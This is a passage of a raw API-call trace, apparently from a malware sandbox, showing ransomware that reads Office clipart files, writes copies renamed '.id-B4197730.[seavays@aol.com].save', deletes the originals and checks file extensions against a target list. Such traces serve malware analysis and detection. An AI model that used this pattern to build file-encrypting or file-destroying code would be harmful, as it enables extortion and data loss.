dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.711] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4696) returned 1 [0193.711] CloseHandle (hObject=0x544) returned 1 [0193.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 0x220 [0193.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.716] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.716] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.717] GetLastError () returned 0x0 [0193.717] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1258, lpOverlapped=0x0) returned 1 [0193.719] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1260, lpOverlapped=0x0) returned 1 [0193.720] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.720] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.720] SetEndOfFile (hFile=0x344) returned 1 [0193.720] CloseHandle (hObject=0x344) returned 1 [0193.720] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.720] SetEndOfFile (hFile=0x544) returned 1 [0193.723] CloseHandle (hObject=0x544) returned 1 [0193.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0193.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.725] lstrlenW (lpString=".doc") returned 4 [0193.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.725] lstrlenW (lpString=".docx") returned 5 [0193.725] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0193.725] lstrlenW (lpString=".pdf") returned 4 [0193.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString=".xls") returned 4 [0193.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.726] lstrlenW (lpString=".xlsx") returned 5 [0193.726] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0193.726] lstrlenW (lpString=".ppt") returned 4 [0193.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.726] lstrlenW (lpString=".zip") returned 4 [0193.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.726] lstrlenW (lpString=".rar") returned 4 [0193.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString=".bz2") returned 4 [0193.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString=".7z") returned 3 [0193.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.726] lstrlenW (lpString=".dbf") returned 4 [0193.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.726] lstrlenW (lpString=".1cd") returned 4 [0193.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0193.726] lstrlenW (lpString=".jpg") returned 4 [0193.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.728] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=2100) returned 1 [0193.728] CloseHandle (hObject=0x544) returned 1 [0193.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 0x220 [0193.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.729] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.729] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.731] GetLastError () returned 0x0 [0193.731] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x834, lpOverlapped=0x0) returned 1 [0193.733] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x840, lpOverlapped=0x0) returned 1 [0193.734] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.735] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.735] SetEndOfFile (hFile=0x344) returned 1 [0193.735] CloseHandle (hObject=0x344) returned 1 [0193.735] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.735] SetEndOfFile (hFile=0x544) returned 1 [0193.738] CloseHandle (hObject=0x544) returned 1 [0193.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0193.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.797] lstrlenW (lpString=".doc") returned 4 [0193.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.797] lstrlenW (lpString=".docx") returned 5 [0193.797] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0193.797] lstrlenW (lpString=".pdf") returned 4 [0193.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.797] lstrlenW (lpString=".xls") returned 4 [0193.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.798] lstrlenW (lpString=".xlsx") returned 5 [0193.798] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0193.798] lstrlenW (lpString=".ppt") returned 4 [0193.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.798] lstrlenW (lpString=".zip") returned 4 [0193.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.798] lstrlenW (lpString=".rar") returned 4 [0193.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.798] lstrlenW (lpString=".bz2") returned 4 [0193.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.798] lstrlenW (lpString=".7z") returned 3 [0193.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.798] lstrlenW (lpString=".dbf") returned 4 [0193.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.798] lstrlenW (lpString=".1cd") returned 4 [0193.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0193.798] lstrlenW (lpString=".jpg") returned 4 [0193.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.800] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=10716) returned 1 [0193.800] CloseHandle (hObject=0x538) returned 1 [0193.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 0x220 [0193.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.801] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.803] GetLastError () returned 0x0 [0193.803] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x29dc, lpOverlapped=0x0) returned 1 [0193.806] WriteFile (in: hFile=0x44c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x29e0, lpOverlapped=0x0) returned 1 [0193.807] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.807] WriteFile (in: hFile=0x44c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.808] SetEndOfFile (hFile=0x44c) returned 1 [0193.808] CloseHandle (hObject=0x44c) returned 1 [0193.808] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.808] SetEndOfFile (hFile=0x538) returned 1 [0193.824] CloseHandle (hObject=0x538) returned 1 [0193.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0193.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.827] lstrlenW (lpString=".doc") returned 4 [0193.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.827] lstrlenW (lpString=".docx") returned 5 [0193.827] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0193.827] lstrlenW (lpString=".pdf") returned 4 [0193.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.827] lstrlenW (lpString=".xls") returned 4 [0193.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.827] lstrlenW (lpString=".xlsx") returned 5 [0193.827] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0193.827] lstrlenW (lpString=".ppt") returned 4 [0193.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.827] lstrlenW (lpString=".zip") returned 4 [0193.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.827] lstrlenW (lpString=".rar") returned 4 [0193.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.827] lstrlenW (lpString=".bz2") returned 4 [0193.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.827] lstrlenW (lpString=".7z") returned 3 [0193.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.828] lstrlenW (lpString=".dbf") returned 4 [0193.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.828] lstrlenW (lpString=".1cd") returned 4 [0193.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0193.828] lstrlenW (lpString=".jpg") returned 4 [0193.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.829] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=12292) returned 1 [0193.830] CloseHandle (hObject=0x538) returned 1 [0193.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 0x220 [0193.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.830] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.831] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.832] GetLastError () returned 0x0 [0193.832] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x3004, lpOverlapped=0x0) returned 1 [0194.171] WriteFile (in: hFile=0x44c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x3010, lpOverlapped=0x0) returned 1 [0194.172] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0194.172] WriteFile (in: hFile=0x44c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0194.173] SetEndOfFile (hFile=0x44c) returned 1 [0194.253] CloseHandle (hObject=0x44c) returned 1 [0194.253] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0194.253] SetEndOfFile (hFile=0x538) returned 1 [0194.256] CloseHandle (hObject=0x538) returned 1 [0194.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0194.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.259] lstrlenW (lpString=".doc") returned 4 [0194.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.259] lstrlenW (lpString=".docx") returned 5 [0194.259] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0194.259] lstrlenW (lpString=".pdf") returned 4 [0194.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.259] lstrlenW (lpString=".xls") returned 4 [0194.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.259] lstrlenW (lpString=".xlsx") returned 5 [0194.259] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0194.259] lstrlenW (lpString=".ppt") returned 4 [0194.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.259] lstrlenW (lpString=".zip") returned 4 [0194.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.259] lstrlenW (lpString=".rar") returned 4 [0194.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.259] lstrlenW (lpString=".bz2") returned 4 [0194.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.260] lstrlenW (lpString=".7z") returned 3 [0194.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.260] lstrlenW (lpString=".dbf") returned 4 [0194.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.260] lstrlenW (lpString=".1cd") returned 4 [0194.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0194.260] lstrlenW (lpString=".jpg") returned 4 [0194.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.517] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4534) returned 1 [0194.518] CloseHandle (hObject=0x44c) returned 1 [0194.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 0x220 [0194.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0194.519] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0194.519] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0194.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.578] GetLastError () returned 0x0 [0194.578] ReadFile (in: hFile=0x44c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, 